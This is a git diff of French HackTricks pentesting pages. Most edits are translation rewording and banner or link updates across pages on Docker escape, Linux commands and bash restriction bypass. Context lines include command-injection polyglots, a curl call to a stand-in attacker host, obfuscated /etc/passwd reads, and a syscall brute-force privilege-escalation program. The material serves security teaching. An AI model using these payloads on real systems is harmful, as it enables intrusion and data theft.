0x059 -- acct
|
0x059 -- acct
|
||||||
|
@ -565,19 +565,7 @@ Il existe d'autres CVE auxquelles le conteneur peut être vulnérable, vous pouv
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="syscall_bf.c" %}
|
{% tab title="syscall_bf.c" %}Le code source suivant est un exemple de programme en C qui peut être utilisé pour effectuer une attaque de type "syscall brute force" afin d'obtenir un accès root non autorisé sur un système Linux. Ce programme tente de passer en revue toutes les valeurs possibles des appels système (syscalls) pour trouver celui qui lui permettra d'obtenir les privilèges root. Une fois le bon appel système trouvé, le programme l'exécute pour escalader ses privilèges. Cette technique est souvent utilisée lors de tests d'intrusion pour évaluer la sécurité d'un système. %}
|
||||||
|
|
||||||
## Évasion de Docker - Escalade de privilèges
|
|
||||||
|
|
||||||
Ce script en langage C permet d'exécuter des appels système arbitraires dans un conteneur Docker pour échapper à la sécurité et escalader les privilèges.
|
|
||||||
|
|
||||||
### Utilisation
|
|
||||||
|
|
||||||
Compilez le script avec `gcc -static -o syscall_bf syscall_bf.c` et exécutez-le dans un conteneur Docker pour tester les vulnérabilités de sécurité.
|
|
||||||
|
|
||||||
### Avertissement
|
|
||||||
|
|
||||||
Ce script est à des fins éducatives uniquement. L'utilisation de ce script pour des activités malveillantes est illégale.
|
|
||||||
````c
|
````c
|
||||||
// From a conversation I had with @arget131
|
// From a conversation I had with @arget131
|
||||||
// Fir bfing syscalss in x64
|
// Fir bfing syscalss in x64
|
||||||
|
@ -641,7 +629,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
|
||||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
|
||||||
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||||
Get Access Today:
|
Get Access Today:
|
||||||
|
@ -657,7 +645,7 @@ Other ways to support HackTricks:
|
||||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
# Commandes Linux Utiles
|
# Commandes Linux Utiles
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -14,10 +14,10 @@ Accédez dès aujourd'hui :
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -141,11 +141,11 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||||
# List files inside zip
|
# List files inside zip
|
||||||
7z l file.zip
|
7z l file.zip
|
||||||
```
|
```
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -171,37 +171,23 @@ i686-mingw32msvc-gcc -o executable useradd.c
|
||||||
```
|
```
|
||||||
## Greps
|
## Greps
|
||||||
|
|
||||||
Grep est un outil puissant pour rechercher des chaînes de texte dans les fichiers. Voici quelques exemples d'utilisation courante de grep :
|
### Recherche de chaînes de texte dans des fichiers
|
||||||
|
La commande `grep` est utilisée pour rechercher des chaînes de texte dans des fichiers. Par exemple, pour rechercher le mot "example" dans un fichier nommé `file.txt`, vous pouvez utiliser la commande suivante :
|
||||||
|
```bash
|
||||||
|
grep "example" file.txt
|
||||||
|
```
|
||||||
|
|
||||||
- Rechercher une chaîne de texte dans un fichier :
|
### Recherche récursive dans les répertoires
|
||||||
```bash
|
Pour rechercher de manière récursive dans tous les fichiers d'un répertoire et de ses sous-répertoires, vous pouvez utiliser l'option `-r` avec `grep`. Par exemple, pour rechercher le mot "keyword" dans tous les fichiers du répertoire courant, utilisez la commande suivante :
|
||||||
grep "mot-clé" fichier.txt
|
```bash
|
||||||
```
|
grep -r "keyword" .
|
||||||
|
```
|
||||||
|
|
||||||
- Rechercher de manière récursive dans tous les fichiers d'un répertoire :
|
### Ignorer la casse
|
||||||
```bash
|
Pour effectuer une recherche sans tenir compte de la casse, utilisez l'option `-i` avec `grep`. Par exemple, pour rechercher "example" sans distinction entre majuscules et minuscules, utilisez la commande suivante :
|
||||||
grep -r "mot-clé" /chemin/vers/repertoire
|
```bash
|
||||||
```
|
grep -i "example" file.txt
|
||||||
|
```
|
||||||
- Ignorer la casse lors de la recherche :
|
|
||||||
```bash
|
|
||||||
grep -i "mot-clé" fichier.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
- Afficher le numéro de ligne des correspondances :
|
|
||||||
```bash
|
|
||||||
grep -n "mot-clé" fichier.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
- Afficher les lignes qui ne correspondent pas au motif :
|
|
||||||
```bash
|
|
||||||
grep -v "mot-clé" fichier.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
- Rechercher un motif en utilisant des expressions régulières :
|
|
||||||
```bash
|
|
||||||
grep -E "motif" fichier.txt
|
|
||||||
```
|
|
||||||
```bash
|
```bash
|
||||||
#Extract emails from file
|
#Extract emails from file
|
||||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||||
|
@ -319,27 +305,118 @@ nmap --script-help "(default or version) and smb)"
|
||||||
```
|
```
|
||||||
## Bash
|
## Bash
|
||||||
|
|
||||||
## Bash
|
### Commandes utiles
|
||||||
|
|
||||||
|
#### `history`
|
||||||
|
La commande `history` affiche une liste des commandes précédemment exécutées par l'utilisateur.
|
||||||
|
|
||||||
|
#### `alias`
|
||||||
|
La commande `alias` permet de créer des alias pour des commandes souvent utilisées.
|
||||||
|
|
||||||
|
#### `chmod`
|
||||||
|
La commande `chmod` est utilisée pour modifier les permissions d'accès aux fichiers et répertoires.
|
||||||
|
|
||||||
|
#### `chown`
|
||||||
|
La commande `chown` est utilisée pour changer le propriétaire et le groupe d'un fichier ou d'un répertoire.
|
||||||
|
|
||||||
|
#### `ps`
|
||||||
|
La commande `ps` affiche les processus en cours d'exécution sur le système.
|
||||||
|
|
||||||
|
#### `top`
|
||||||
|
La commande `top` affiche les processus en cours d'exécution en temps réel, triés par utilisation de ressources.
|
||||||
|
|
||||||
|
#### `kill`
|
||||||
|
La commande `kill` est utilisée pour arrêter un processus en cours d'exécution en utilisant son PID (identifiant de processus).
|
||||||
|
|
||||||
|
#### `shutdown`
|
||||||
|
La commande `shutdown` est utilisée pour arrêter ou redémarrer le système.
|
||||||
|
|
||||||
|
#### `ifconfig`
|
||||||
|
La commande `ifconfig` affiche et configure les interfaces réseau sur le système.
|
||||||
|
|
||||||
|
#### `netstat`
|
||||||
|
La commande `netstat` affiche les connexions réseau, les tables de routage, les statistiques d'interface, etc.
|
||||||
|
|
||||||
|
#### `ss`
|
||||||
|
La commande `ss` est utilisée pour obtenir des informations sur les sockets réseau.
|
||||||
|
|
||||||
|
#### `lsof`
|
||||||
|
La commande `lsof` affiche les fichiers ouverts par les processus en cours d'exécution.
|
||||||
|
|
||||||
|
#### `df`
|
||||||
|
La commande `df` affiche l'utilisation de l'espace disque sur le système de fichiers.
|
||||||
|
|
||||||
|
#### `du`
|
||||||
|
La commande `du` affiche l'utilisation de l'espace disque par répertoire.
|
||||||
|
|
||||||
|
#### `free`
|
||||||
|
La commande `free` affiche l'utilisation de la mémoire système et des échanges.
|
||||||
|
|
||||||
|
#### `uptime`
|
||||||
|
La commande `uptime` affiche depuis combien de temps le système est en ligne et la charge moyenne.
|
||||||
|
|
||||||
|
#### `grep`
|
||||||
|
La commande `grep` est utilisée pour rechercher du texte dans des fichiers ou des sorties de commandes.
|
||||||
|
|
||||||
|
#### `find`
|
||||||
|
La commande `find` est utilisée pour rechercher des fichiers et des répertoires en fonction de certains critères.
|
||||||
|
|
||||||
|
#### `tar`
|
||||||
|
La commande `tar` est utilisée pour archiver et extraire des fichiers à partir d'une archive.
|
||||||
|
|
||||||
|
#### `zip`
|
||||||
|
La commande `zip` est utilisée pour compresser des fichiers dans un format zip.
|
||||||
|
|
||||||
|
#### `unzip`
|
||||||
|
La commande `unzip` est utilisée pour extraire des fichiers d'une archive zip.
|
||||||
|
|
||||||
|
#### `curl`
|
||||||
|
La commande `curl` est utilisée pour transférer des données vers ou depuis un serveur.
|
||||||
|
|
||||||
|
#### `wget`
|
||||||
|
La commande `wget` est utilisée pour télécharger des fichiers depuis le Web.
|
||||||
|
|
||||||
|
#### `ssh`
|
||||||
|
La commande `ssh` est utilisée pour se connecter à un serveur distant de manière sécurisée.
|
||||||
|
|
||||||
|
#### `scp`
|
||||||
|
La commande `scp` est utilisée pour copier des fichiers de manière sécurisée entre des hôtes distants.
|
||||||
|
|
||||||
|
#### `rsync`
|
||||||
|
La commande `rsync` est utilisée pour synchroniser des fichiers et des répertoires entre des hôtes distants ou locaux.
|
||||||
|
|
||||||
|
#### `crontab`
|
||||||
|
La commande `crontab` est utilisée pour gérer les tâches planifiées sur le système.
|
||||||
|
|
||||||
|
#### `journalctl`
|
||||||
|
La commande `journalctl` est utilisée pour afficher les messages du journal du système et des services.
|
||||||
|
|
||||||
|
#### `systemctl`
|
||||||
|
La commande `systemctl` est utilisée pour contrôler le système et les services systemd.
|
||||||
|
|
||||||
|
#### `lsblk`
|
||||||
|
La commande `lsblk` affiche les informations sur les périphériques de stockage du système.
|
||||||
|
|
||||||
|
#### `lscpu`
|
||||||
|
La commande `lscpu` affiche les informations sur le processeur du système.
|
||||||
|
|
||||||
|
#### `lsusb`
|
||||||
|
La commande `lsusb` affiche les informations sur les périphériques USB connectés au système.
|
||||||
```bash
|
```bash
|
||||||
#All bytes inside a file (except 0x20 and 0x00)
|
#All bytes inside a file (except 0x20 and 0x00)
|
||||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||||
```
|
```
|
||||||
## Iptables
|
## Iptables
|
||||||
|
|
||||||
### Description
|
Iptables est un utilitaire en ligne de commande pour configurer le pare-feu du noyau Linux. Il permet de définir des règles pour contrôler le trafic réseau entrant et sortant. Voici quelques commandes utiles pour gérer les règles iptables :
|
||||||
Iptables is a powerful firewall utility for Linux systems. It allows you to configure the packet filtering rules of the Linux kernel firewall, which can be used to secure and control network traffic.
|
|
||||||
|
|
||||||
### Useful Commands
|
- `iptables -L` : Affiche toutes les règles iptables actuellement définies.
|
||||||
|
- `iptables -F` : Efface toutes les règles iptables.
|
||||||
|
- `iptables -A` : Ajoute une règle à une chaîne spécifique.
|
||||||
|
- `iptables -D` : Supprime une règle spécifique.
|
||||||
|
- `iptables -P` : Définit la politique par défaut pour une chaîne.
|
||||||
|
|
||||||
- **List all rules**: `iptables -L`
|
Il est important de comprendre comment utiliser iptables pour renforcer la sécurité de votre système Linux.
|
||||||
- **List all rules with line numbers**: `iptables -L --line-numbers`
|
|
||||||
- **Flush all rules**: `iptables -F`
|
|
||||||
- **Block a specific IP address**: `iptables -A INPUT -s <IP_ADDRESS> -j DROP`
|
|
||||||
- **Allow a specific IP address**: `iptables -A INPUT -s <IP_ADDRESS> -j ACCEPT`
|
|
||||||
- **Block a specific port**: `iptables -A INPUT -p tcp --dport <PORT_NUMBER> -j DROP`
|
|
||||||
- **Allow a specific port**: `iptables -A INPUT -p tcp --dport <PORT_NUMBER> -j ACCEPT`
|
|
||||||
- **Save rules**: `iptables-save > /etc/iptables/rules.v4`
|
|
||||||
- **Restore rules**: `iptables-restore < /etc/iptables/rules.v4`
|
|
||||||
```bash
|
```bash
|
||||||
#Delete curent rules and chains
|
#Delete curent rules and chains
|
||||||
iptables --flush
|
iptables --flush
|
||||||
|
@ -372,22 +449,22 @@ iptables -P OUTPUT ACCEPT
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez dès aujourd'hui :
|
Accédez dès aujourd'hui:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -9,12 +9,12 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -126,7 +126,7 @@ g # These 4 lines will equal to ping
|
||||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||||
uname!-1\-a # This equals to uname -a
|
uname!-1\-a # This equals to uname -a
|
||||||
```
|
```
|
||||||
### Contourner l'antislash et la barre oblique
|
### Contourner l'obstacle des barres obliques et des barres obliques inverses
|
||||||
```bash
|
```bash
|
||||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
|
@ -165,7 +165,7 @@ Vous pourriez utiliser **burpcollab** ou [**pingb**](http://pingb.in) par exempl
|
||||||
|
|
||||||
### Commandes intégrées
|
### Commandes intégrées
|
||||||
|
|
||||||
Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un **ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE)**, il existe quelques astuces pratiques pour y parvenir. Habituellement, vous **ne pourrez pas utiliser toutes** les **commandes intégrées**, donc vous devriez **connaître toutes vos options** pour essayer de contourner la restriction. Idée de [**devploit**](https://twitter.com/devploit).\
|
Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un **ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE)**, il existe quelques astuces pratiques pour le faire. Habituellement, vous **ne pourrez pas utiliser toutes** les **commandes intégrées**, donc vous devriez **connaître toutes vos options** pour essayer de contourner la restriction. Idée de [**devploit**](https://twitter.com/devploit).\
|
||||||
Tout d'abord, vérifiez toutes les [**commandes intégrées du shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ensuite, voici quelques **recommandations**:
|
Tout d'abord, vérifiez toutes les [**commandes intégrées du shell**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ensuite, voici quelques **recommandations**:
|
||||||
```bash
|
```bash
|
||||||
# Get list of builtins
|
# Get list of builtins
|
||||||
|
@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||||
```
|
```
|
||||||
### Contourner les expressions régulières potentielles
|
### Contourner les regex potentielles
|
||||||
```bash
|
```bash
|
||||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||||
1%0a`curl http://attacker.com`
|
1%0a`curl http://attacker.com`
|
||||||
|
@ -315,7 +315,7 @@ ln /f*
|
||||||
'sh x'
|
'sh x'
|
||||||
'sh g'
|
'sh g'
|
||||||
```
|
```
|
||||||
## Contournement de restrictions en lecture seule/Noexec/Distroless
|
## Contournement de la restriction en lecture seule/Noexec/Distroless
|
||||||
|
|
||||||
Si vous vous trouvez dans un système de fichiers avec les **protections en lecture seule et noexec** ou même dans un conteneur distroless, il existe encore des moyens d'**exécuter des binaires arbitraires, voire un shell !:**
|
Si vous vous trouvez dans un système de fichiers avec les **protections en lecture seule et noexec** ou même dans un conteneur distroless, il existe encore des moyens d'**exécuter des binaires arbitraires, voire un shell !:**
|
||||||
|
|
||||||
|
@ -336,7 +336,7 @@ Si vous vous trouvez dans un système de fichiers avec les **protections en lect
|
||||||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
|
@ -353,7 +353,7 @@ Autres façons de soutenir HackTricks :
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
